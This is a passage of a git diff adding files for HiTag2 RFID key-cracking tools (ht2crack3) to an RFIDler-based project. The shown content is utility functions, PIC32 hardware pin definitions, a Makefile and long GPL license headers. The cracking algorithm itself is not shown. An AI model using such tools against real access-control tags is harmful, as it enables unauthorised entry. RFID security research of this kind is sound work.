invertbinarray(BYTE *target, BYTE *source, unsigned int length); +void invertbinstring(BYTE *target, BYTE *source); +void printbinarray(unsigned char *bin, unsigned int length); +unsigned char getbit(unsigned char byte, unsigned char bit); +void bytestohex(unsigned char *target, unsigned char *source, unsigned int length); +unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length); +unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length); +char * strip_newline(char *buff); +BOOL command_ack(BOOL data); +BOOL command_nack(BYTE *reason); +BOOL command_unknown(void); +void ToUpper(char *string); +void string_reverse(unsigned char *string, unsigned int length); +BOOL string_byteswap(unsigned char *string, unsigned int length); +BYTE parity(unsigned char *string, BYTE type, unsigned int length); +unsigned long get_reader_pulse(unsigned int timeout_us); +unsigned long get_reader_gap(unsigned int timeout_us); +unsigned int crc_ccitt(BYTE *data, unsigned int length); +unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask); +void space_indent(BYTE count); +void xml_version(void); +void xml_header(BYTE *item, BYTE *indent); +void xml_footer(BYTE *item, BYTE *indent, BOOL newline); +void xml_indented_text(BYTE *data, BYTE indent); +void xml_item_text(BYTE *item, BYTE *data, BYTE *indent); +void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent); +void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent); +void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent); + diff --git a/tools/hitag2crack/crack2/utilpart.c b/tools/hitag2crack/crack2/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack2/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/crack3/.gitignore b/tools/hitag2crack/crack3/.gitignore new file mode 100644 index 000000000..c993f2fe3 --- /dev/null +++ b/tools/hitag2crack/crack3/.gitignore @@ -0,0 +1,6 @@ +ht2crack3 +ht2test + +ht2crack3.exe +ht2test.exe + diff --git a/tools/hitag2crack/crack3/HardwareProfile.h b/tools/hitag2crack/crack3/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack3/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack3/Makefile b/tools/hitag2crack/crack3/Makefile new file mode 100644 index 000000000..6f6b7b57c --- /dev/null +++ b/tools/hitag2crack/crack3/Makefile @@ -0,0 +1,19 @@ +WARN=-Wall +INCLUDE=-I../include +CFLAGS=-c $(WARN) $(INCLUDE) +LIBS= + +all: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o + cc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS) + cc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS) + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +clean: + rm -rf *.o ht2crack3 ht2test + +fresh: clean all diff --git a/tools/hitag2crack/crack3/hitagcrypto.c b/tools/hitag2crack/crack3/hitagcrypto.c new file mode 100644 index 000000000..422efbe92 --- /dev/null +++ b/tools/hitag2crack/crack3/hitagcrypto.c @@ -0,0 +1,485 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o 